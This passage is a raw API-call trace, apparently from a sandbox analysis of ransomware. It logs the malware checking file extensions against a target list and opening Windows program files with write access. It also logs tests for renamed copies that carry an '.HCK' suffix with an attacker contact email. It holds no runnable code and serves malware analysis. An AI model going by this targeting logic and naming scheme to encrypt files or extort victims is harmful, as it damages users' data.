(lpString1=".rar", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString=".bz2") returned 4 [0150.372] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0150.372] lstrlenW (lpString=".7z") returned 3 [0150.372] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".dbf") returned 4 [0150.372] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".1cd") returned 4 [0150.372] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".jpg") returned 4 [0150.372] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0150.373] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0150.373] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0150.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.373] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4734) returned 1 [0150.373] CloseHandle (hObject=0x30c) returned 1 [0150.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0150.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString=".doc") returned 4 [0150.374] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0150.374] lstrlenW (lpString=".docx") returned 5 [0150.374] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0150.374] lstrlenW (lpString=".pdf") returned 4 [0150.374] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0150.374] lstrlenW (lpString=".xls") returned 4 [0150.374] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0150.374] lstrlenW (lpString=".xlsx") returned 5 [0150.374] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0150.374] lstrlenW (lpString=".ppt") returned 4 [0150.374] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString=".zip") returned 4 [0150.374] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0150.374] lstrlenW (lpString=".rar") returned 4 [0150.374] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0150.374] lstrlenW (lpString=".bz2") returned 4 [0150.374] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0150.374] lstrlenW (lpString=".7z") returned 3 [0150.374] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString=".dbf") returned 4 [0150.374] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString=".1cd") returned 4 [0150.374] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString=".jpg") returned 4 [0150.374] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.374] lstrlenW (lpString=".doc") returned 4 [0150.374] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0150.375] lstrlenW (lpString=".docx") returned 5 [0150.375] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0150.375] lstrlenW (lpString=".pdf") returned 4 [0150.375] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0150.375] lstrlenW (lpString=".xls") returned 4 [0150.375] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0150.375] lstrlenW (lpString=".xlsx") returned 5 [0150.375] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0150.375] lstrlenW (lpString=".ppt") returned 4 [0150.375] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0150.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.375] lstrlenW (lpString=".zip") returned 4 [0150.375] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0150.375] lstrlenW (lpString=".rar") returned 4 [0150.375] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0150.375] lstrlenW (lpString=".bz2") returned 4 [0150.375] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0150.375] lstrlenW (lpString=".7z") returned 3 [0150.375] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0150.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.375] lstrlenW (lpString=".dbf") returned 4 [0150.375] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0150.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.375] lstrlenW (lpString=".1cd") returned 4 [0150.375] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0150.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0150.375] lstrlenW (lpString=".jpg") returned 4 [0150.375] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0150.375] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0150.375] lstrlenW (lpString="Soft Blue.htm") returned 13 [0150.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.375] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=232) returned 1 [0150.375] CloseHandle (hObject=0x30c) returned 1 [0150.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0150.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString=".doc") returned 4 [0150.376] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0150.376] lstrlenW (lpString=".docx") returned 5 [0150.376] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0150.376] lstrlenW (lpString=".pdf") returned 4 [0150.376] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString=".xls") returned 4 [0150.376] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString=".xlsx") returned 5 [0150.376] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0150.376] lstrlenW (lpString=".ppt") returned 4 [0150.376] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString=".zip") returned 4 [0150.376] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString=".rar") returned 4 [0150.376] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString=".bz2") returned 4 [0150.376] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0150.376] lstrlenW (lpString=".7z") returned 3 [0150.376] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString=".dbf") returned 4 [0150.376] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString=".1cd") returned 4 [0150.376] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString=".jpg") returned 4 [0150.376] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.376] lstrlenW (lpString=".doc") returned 4 [0150.376] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0150.376] lstrlenW (lpString=".docx") returned 5 [0150.376] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0150.376] lstrlenW (lpString=".pdf") returned 4 [0150.376] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString=".xls") returned 4 [0150.376] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0150.376] lstrlenW (lpString=".xlsx") returned 5 [0150.376] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0150.376] lstrlenW (lpString=".ppt") returned 4 [0150.376] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0150.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.377] lstrlenW (lpString=".zip") returned 4 [0150.377] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0150.377] lstrlenW (lpString=".rar") returned 4 [0150.377] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0150.377] lstrlenW (lpString=".bz2") returned 4 [0150.377] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0150.377] lstrlenW (lpString=".7z") returned 3 [0150.377] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0150.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.377] lstrlenW (lpString=".dbf") returned 4 [0150.377] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0150.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.377] lstrlenW (lpString=".1cd") returned 4 [0150.377] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0150.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0150.377] lstrlenW (lpString=".jpg") returned 4 [0150.377] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0150.377] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0150.377] lstrlenW (lpString="SoftBlue.jpg") returned 12 [0150.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.378] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10569) returned 1 [0150.378] CloseHandle (hObject=0x30c) returned 1 [0150.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0150.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.378] lstrlenW (lpString=".doc") returned 4 [0150.378] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0150.378] lstrlenW (lpString=".docx") returned 5 [0150.378] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0150.378] lstrlenW (lpString=".pdf") returned 4 [0150.378] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0150.378] lstrlenW (lpString=".xls") returned 4 [0150.378] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0150.378] lstrlenW (lpString=".xlsx") returned 5 [0150.378] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0150.378] lstrlenW (lpString=".ppt") returned 4 [0150.378] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0150.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.378] lstrlenW (lpString=".zip") returned 4 [0150.379] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0150.379] lstrlenW (lpString=".rar") returned 4 [0150.379] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0150.379] lstrlenW (lpString=".bz2") returned 4 [0150.379] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0150.379] lstrlenW (lpString=".7z") returned 3 [0150.379] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0150.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.379] lstrlenW (lpString=".dbf") returned 4 [0150.380] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString=".1cd") returned 4 [0150.380] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString=".jpg") returned 4 [0150.380] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString=".doc") returned 4 [0150.380] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0150.380] lstrlenW (lpString=".docx") returned 5 [0150.380] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0150.380] lstrlenW (lpString=".pdf") returned 4 [0150.380] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0150.380] lstrlenW (lpString=".xls") returned 4 [0150.380] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0150.380] lstrlenW (lpString=".xlsx") returned 5 [0150.380] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0150.380] lstrlenW (lpString=".ppt") returned 4 [0150.380] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString=".zip") returned 4 [0150.380] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0150.380] lstrlenW (lpString=".rar") returned 4 [0150.380] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0150.380] lstrlenW (lpString=".bz2") returned 4 [0150.380] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0150.380] lstrlenW (lpString=".7z") returned 3 [0150.380] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString=".dbf") returned 4 [0150.380] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString=".1cd") returned 4 [0150.380] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0150.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70 [0150.380] lstrlenW (lpString=".jpg") returned 4 [0150.380] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0150.380] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0150.380] lstrlenW (lpString="Stars.htm") returned 9 [0150.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.382] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=230) returned 1 [0150.382] CloseHandle (hObject=0x30c) returned 1 [0150.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0150.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString=".doc") returned 4 [0150.383] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0150.383] lstrlenW (lpString=".docx") returned 5 [0150.383] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0150.383] lstrlenW (lpString=".pdf") returned 4 [0150.383] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0150.383] lstrlenW (lpString=".xls") returned 4 [0150.383] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0150.383] lstrlenW (lpString=".xlsx") returned 5 [0150.383] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0150.383] lstrlenW (lpString=".ppt") returned 4 [0150.383] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString=".zip") returned 4 [0150.383] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0150.383] lstrlenW (lpString=".rar") returned 4 [0150.383] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0150.383] lstrlenW (lpString=".bz2") returned 4 [0150.383] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0150.383] lstrlenW (lpString=".7z") returned 3 [0150.383] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString=".dbf") returned 4 [0150.383] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString=".1cd") returned 4 [0150.383] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString=".jpg") returned 4 [0150.383] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.383] lstrlenW (lpString=".doc") returned 4 [0150.383] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0150.383] lstrlenW (lpString=".docx") returned 5 [0150.383] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0150.383] lstrlenW (lpString=".pdf") returned 4 [0150.384] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0150.384] lstrlenW (lpString=".xls") returned 4 [0150.384] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0150.384] lstrlenW (lpString=".xlsx") returned 5 [0150.384] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0150.384] lstrlenW (lpString=".ppt") returned 4 [0150.384] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0150.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.384] lstrlenW (lpString=".zip") returned 4 [0150.384] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0150.384] lstrlenW (lpString=".rar") returned 4 [0150.384] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0150.384] lstrlenW (lpString=".bz2") returned 4 [0150.384] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0150.384] lstrlenW (lpString=".7z") returned 3 [0150.384] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0150.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.384] lstrlenW (lpString=".dbf") returned 4 [0150.384] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0150.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.384] lstrlenW (lpString=".1cd") returned 4 [0150.384] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0150.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0150.384] lstrlenW (lpString=".jpg") returned 4 [0150.384] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0150.384] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0150.384] lstrlenW (lpString="adojavas.inc") returned 12 [0150.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.386] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14856) returned 1 [0150.386] CloseHandle (hObject=0x30c) returned 1 [0150.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0150.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.386] lstrlenW (lpString=".doc") returned 4 [0150.386] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0150.386] lstrlenW (lpString=".docx") returned 5 [0150.386] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0150.386] lstrlenW (lpString=".pdf") returned 4 [0150.386] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0150.386] lstrlenW (lpString=".xls") returned 4 [0150.386] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString=".xlsx") returned 5 [0150.387] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0150.387] lstrlenW (lpString=".ppt") returned 4 [0150.387] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0150.387] lstrlenW (lpString=".zip") returned 4 [0150.387] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0150.387] lstrlenW 